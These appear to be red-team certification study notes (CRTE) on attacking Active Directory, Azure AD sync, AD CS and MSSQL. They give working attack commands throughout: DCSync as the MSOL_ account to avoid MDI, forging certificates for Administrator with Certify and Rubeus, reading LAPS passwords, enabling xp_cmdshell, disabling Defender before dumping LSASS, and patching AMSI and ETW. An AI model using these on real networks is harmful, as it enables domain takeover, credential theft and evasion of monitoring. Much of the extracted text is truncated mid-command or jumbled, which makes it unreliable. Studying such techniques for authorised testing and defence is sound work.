CRTE Notes
CRTE Notes
These notes are a continuation of CRTP (Certified Red Team Professional) Notes.
Table of Contents
Table of Contents
PowerShell Bypasses
InvisiShell
AV Signature Bypass
Azure AD
Attacking PHS
Enumeration
General
AppLocker, WDAC, and Tamper Protection
Misc
Domain Privilege Escalation
LAPS
gMSA
Golden gMSA
Constrained Delegation - Kerberos Only
GenericWrite on Computer
Shadow Credentials
Certificate Service
Misc
Cross-Forest Attacks and Privescs
Kerberoast
Constrained Delegation
Unconstrained Delegation
Trust Key
Foreign Security Principal (FSP)
ACLs
PAM Trust
MSSQL
Getting Shell on SQL Instance
User Impersonation
Offensive .NET
Best Practices
Privileged Administrative Workstation (PAWs)
Just Enough Administration (JEA)
Tools
References
CRTE Notes 1
PowerShell Bypasses
InvisiShell
InvisiShell bypasses system-wide transcription, PowerShell AMSI, and script-block logging
AV Signature Bypass
use AMSITrigger to identify what in your script is triggering AMSI
AmsiTrigger_x64.exe -i C:\PATH\TO\script.ps1
DefenderCheck.exe C:\PATH\TO\script.ps1
minimize obfuscation and focus more on signature detection, modifying detected malicious code, string manipulation, etc.
Azure AD
Can be integrated with on-prem AD using AD connect using one of the methods:
CRTE Notes 2
on-prem checks if cred is valid or not, this result is returned to Azure AD, and Azure AD either allows user to access
Azure resources or not
3. Federation
contains high-privileged account called MSOL_<RANDOM_ID> that performs a DCSync every two minutes
Attacking PHS
will not get detected by MDI if you DCSync using the MSOL_ user, as this user is typically on the exclusion list of MDI due to its
frequent DCSync
# PowerView
Get-DomainUser -Identity "MSOL_*" -Domain 0xd4y.local
# AD Module
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" -Server 0xd4y.local -Properties * | select SamAccountName,Description | fl
ensure to modify this script’s code and run within Invisi-Shell to potentially bypass these logs
Enumeration
General
recommended to use AD PowerShell Module
less suspicious
Command Description
(Get-DomainPolicyData).systemaccess Use to get policy for tickets
Get users that are in a local group for specified machine (use -
Get-DomainGPOComputerLocalGroupMapping
Identity to specify machine)
Get-DnsServerZone -ZoneName Get IP addresses of DCs in target (note you can also ping the DCs to
some_forest.local |fl *
find the IP if you already know the DC names)
$env:UserDNSDomain
CRTE Notes 3
Get current forest name
ensure that you do not breach ticket policies when forging/modifying a ticket for persistence!
root\Microsoft\Windows\DeviceGuard
note tamper protection is on by default on Windows Server 2019, 2022, and 1803 or later among other servers
Misc
use Get-ADTrust -Filter 'intraForest -ne $True' -Server (Get-ADForest).Name to map all trusts of current forest
use (Get-ADForest).Domains | %{Get-ADTrust -Filter '(intraForest -ne $True) -and (ForestTransitive -ne $True)' -Server $_} to map all
external trusts
can be done also with PowerView’s Get-ForestDomain -Verbose | Get-DomainTrust | ?{$_.TrustAttributes -eq 'FILTER_SIDS'}
check if ms-mcs-admpwd attribute is visible with Get-DomainComputer | Select-Object 'dnshostname','ms-mcs-admpwd' | Where-Object {$_."ms-
can also use Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | Where-Object {($.ObjectAceType -like 'ms-Mcs-AdmPwd') -and
($.ActiveDirect
use ADModule’s Get-ADComputer -Identity 0xd4y_machine -Properties ms-mcs-admpwd | select -ExpandProperty ms-mcs-admpwd or
PowerView’s Get-DomainObject -Identity 0xd4y_machine | select -ExpandProperty ms-mcs-admpwd to get clear-text password of ms-mcs-
admpwd attribute
## Then copy the files you need (e.g. NetLoader), perform port-forwarding, and load whatever you want
gMSA
provides password management, password rotation (every 30 days), and management of SPNs and delegated administration
for service accounts
can potentially read the gMSA password from the msds-ManagedPassword attribute (stored in binary form of MSDS-
MANAGEDPASSWORD_BLOB)
must be explicitly allowed to do so (not even Domain Admins can read this by default)
Command Description
CRTE Notes 4
Get-ADServiceAccount -Filter *
Get all gMSA accounts (denoted with the object class msDS-
GroupManagedServiceAccount )
Get-ADServiceAccount -Identity
gmsa_account_0xd4y -Properties * | select Get users that can read the msds-ManagedPassword attribute
PrincipalsAllowedToRetrieveManagedPassword
Golden gMSA
an attack in which gMSA is calculated offline using the KDS root key object
only DAs, EAs, and SYSTEM can retrieve KDS root key
# Configure TRUST_TO_AUTH_FOR_DELEGATION
Set-ADComputer -Identity original_machine_account$ -PrincipalsAllowedToDelegateToAccount new_machine_account$
use winrs instead of PSRemoting to evade certain logging: winrs -remote:0xd4y_server -u:notes\0xd4y -p:Pl3as3Subscr1b3 <COMMAND>
$creds = Get-Credential
Invoke-Command -Credential $creds -ScriptBlock {whoami} -Computer 0xd4y_machine
use opassth with SafetyKatz (instead of pth ) and aes256 instead of ntlm to prevent detections by MDI
starts PowerShell session with logon type 9 just like runas /netonly
CRTE Notes 5
note opassth is just the command specific to the modified Mimikatz version in the CRTE lab (modified version of pth )
GenericWrite on Computer
with GenericWrite or GenericAll on a computer, you can enable constrained delegation to laterally move
Shadow Credentials
leverages msDS-KeyCredentialLink attribute to authenticate as another user or computer account
msDS-KeyCredentialsLink attribute contains raw public keys of certificate, and will still work even if the credentials of the user or
only Key Admins and Enterprise Key Admins, or users with GenericAll or GenericWrite are allowed to modify the msDS-
# Check if msDS-KeyCredentialsLink attribute present on target (use Get-DomainComputer in case of a computer account)
Get-DomainUser -Identity 0xd4y_target_user
Certificate Service
certificate can be used for authentication, encryption, signing, etc.
check for certificates stored in local machine with ls cert:\LocalMachine\My and then export it with ls cert:\LocalMachine\My\
<THUMBPRINT> | Export-PfxCertificate -FilePath C:\PATH\TO\SAVE\cert.pfx -Password (ConvertTo-SecureString -String 'SubscribeTo0xd4y' -
Force -AsPlainText)
then request TGT using Rubeus.exe asktgt /user:pawadmin /certificate:cert.pfx /password:SubscribeTo0xd4y /nowrap /ptt
4. Escalation to DA and EA
5. Domain persistence
CRTE Notes 6
can use certify.exe to find misconfigured templates ( certify.exe find )
note that the /vulnerable flag only shows certificates in which domain users or default users group has enrollment rights
Common misconfigurations:
# Request cert, save text between BEGIN RSA PRIVATE KEY and END CERTIFICATE to a file (e.g. cert.pem)
Certify.exe request /ca:<CA_NAME> /template:<CERT_TEMPLATE> /altname:Administrator
# Request TGT
Rubeus.exe asktgt /user:Administrator /certificate:admin.pfx /password:Follow0xd4y /nowrap /ptt
Misc
may be able to add yourself to a group with Add-ADGroupMember -Identity "MachineAdmins" -Members "0xd4y"
# Create shared folder between target machine (notes-0xd4y) and local machine
net use x: \\notes-0xd4y\C$\Users\Public /user:Administrator Pl34s3Subscr1be
check if you have local admin access on another machine with Find-PSRemotingLocalAdminAccess
can spawn new instance with compromised creds using Rubeus: ./Rubeus.exe asktgt /domain:notes.0xd4y.local /user:0xd4y /aes256:
CRTE Notes 7
$passwd = ConvertTo-SecureString 'Follow0xd4y' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("notes\0xd4y", $passwd)
$session = New-PSSession -ComputerName some_machine -Credential $creds
# PowerView
Get-DomainTrust | ?{$_.TrustAttributes -eq 'FILTER_SIDS'} | %{Get-DomainUser -SPN -Domain $_.TargetName}
# AD Module
Get-ADTrust -Filter 'IntraForest -ne $true' | %{Get-ADUser -Filter {ServicePrincpalName -ne "$null"} -Properties ServicePrincipalName -Serve
Constrained Delegation
Can abuse constrained delegation across forests if you already have a foothold across a forest trust.
# PowerView
Get-DomainUser -TrustedToAuth -Domain target_forest.local
Get-DomainComputer -TrustedToAuth -Domain target_forest.local
# AD Module
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo -Server target_forest.local
# DCSync
./SharpKatz.exe --Command dcsync --user other_forest\krbtgt --Domain other_forest.local --DomainController some-dc.other_forest.local
note that use of AES256 may not work across forests as it depends on whether or not AES encryption is supported
Unconstrained Delegation
TGT delegation must be enabled across trust (disabled by default)
note this can also be checked with Get-ADTrust -server other_forest.local -Filter * although it could output false negatives
and is less reliable in older versions (ensure you are using the right version of the AD Module which fixes this bug)
CRTE Notes 8
Trust Key
SID Filtering occurs between forests so that one forest cannot request any resource as an EA or DA for another forest
all RIDs between and including 500 and 1000 are stripped (check CRTP notes for more in-depth)
with /enablesidhistory:yes you can attempt to access resources accessible to the specified RID as long as RID > 1000
if Get-ADTrust -Filter * shows that the SIDFilteringForestAware attribute is True, then SIDHistory filtering is enabled across the
forest trust
can be enumerated with PowerView’s Find-ForeignGroup or Find-ForeignUser , or with AD Module’s Get-ADObject -Filter
{objectClass -eq "foreignSecurityPrincipal"}
then enumerate the group with Get-ADGroup -Filter * -Properties Member -Server other_forest.local | ?{$_.Member -match '<SID>'}
ACLs
ACLs may grant certain principals to access resources or have GenericAll or GenercWrite on identities cross-forest (principals
added to these ACLs are not displayed in the ForeignSecurityPrincipals container)
only principals in a domain local security group are in the ForeignSecurityPrincipals container
with GenericAll you can reset a user’s password with Set-DomainUserPassword -Identity 0xd4y -AccountPassword (ConvertTo-
PAM Trust
usually enabled between Bastion or Red Forest and prod/user forest
allows high-privileged access to prod forest without needing credentials from a bastion forest
requires the creation of Shadow Principals in bastion domain that are mapped to DA or EA in prod forest
Get-ADTrust -Filter *
Get-ADObject -Filter {objectClass -eq "foreignSecurityPrincipal"} -Server bastion.local
CRTE Notes 9
# PSRemote into prod_forest
Enter-PSSession <PROD_FOREST_IP_ADDRESS> -Authentication NegotiateWithImplicitCredential
note when PSRemoting using an IP address, you must use NTLM authentication
you can then use Copy-Item -Path C:\Windows\System32\lsass.exe -FromSession $prodsession -Destination
'C:\Users\Administrator\lsass.exe' to copy the lsass.exe file on the remote session to the local machine
MSSQL
Use Invoke-SQLAudit to find misconfigurations in SQL server
can manually enabled rpcout and xp_cmdshell on a SQL node as long as the user on which the target node is run is high-
privileged (such as sa [system administrator])
use Get-SQLInstanceDomain | Get-SQLServerInfo to get information for SQL instances in current forest
User Impersonation
May be possible to impersonate other users within an SQL instance if given the IMPERSONATE privilege and EXECUTE AS
function.
to find users you can impersonate, run Get-SQLquery -Instance target-sqlsrv -Query "SELECT distinct b.name FROM
'IMPERSONATE'"
use SQLRecon.exe for impersonation, as they have modules meant exactly for such a scenario
# Enabling xp_cmdshell
SQLRecon.exe -a Windows -s target-sqlsrv -m iquery -i sa -o "EXEC sp_configure 'xp_cmdshell',1 RECONFIGURE"
note that you can also use PowerView’s Get-SQLquery -Instance target-sqlsrv -Query "EXECUTE AS LOGIN = 'sa' EXEC
master..xp_cmdshell 'whoami'"
Offensive .NET
Pros Cons
CRTE Notes 10
for loading it into memory)
use NetLoader to deliver binary payloads and execute it directly in memory while bypassing AMSI & ETW by patching them
use port forwarding to indirectly load the binary from a remote address (check https://0xd4y.com/2023/04/05/CRTP-Notes/
to see how to do that)
NetLoading an unsigned binary such as SafetyKatz may not work if WDAC is enabled, which would result in an error such as
The system cannot execute the specified program (check with Get-CimInstance -ClassName Win32_DeviceGuard -Namespace
root\Microsoft\Windows\DeviceGuard )
use rundll32.exe to dump the LSASS process and then exfiltrate it (detected by Defender so make sure to turn it off with
Set-MpPreference -DisableRealTimeMonitoring $true )
Best Practices
set Account is sensitive and cannot be delegated for sensitive accounts
provides protection against attacks such as phishing , OS vulnerabilities, and credential replay attacks
restricts non-admin users to remotely connect to machine for specific administrative tasks
Tools
1. BloodHound
2. PowerSploit
3. ADModule
CRTE Notes 11
4. PowerUpSQL
useful for bypassing some PowerShell defenses, logging, and staying stealthy
6. NetLoader
used for loading executables from memory while bypassing EDR solutions
7. SpoolSample
8. Certify
AD CS exploitation
9. Rubeus
Kerberos abuse
10. SQLRecon
11. Ligolo-ng
Tunneling/pivoting
References
1. CRTE Course
main source
2. https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/prevent-changes-to-security-settings-with-tamper-
protection?view=o365-worldwide
tamper protection
3. https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-
impersonation/
SQL impersonation
CRTE Notes 12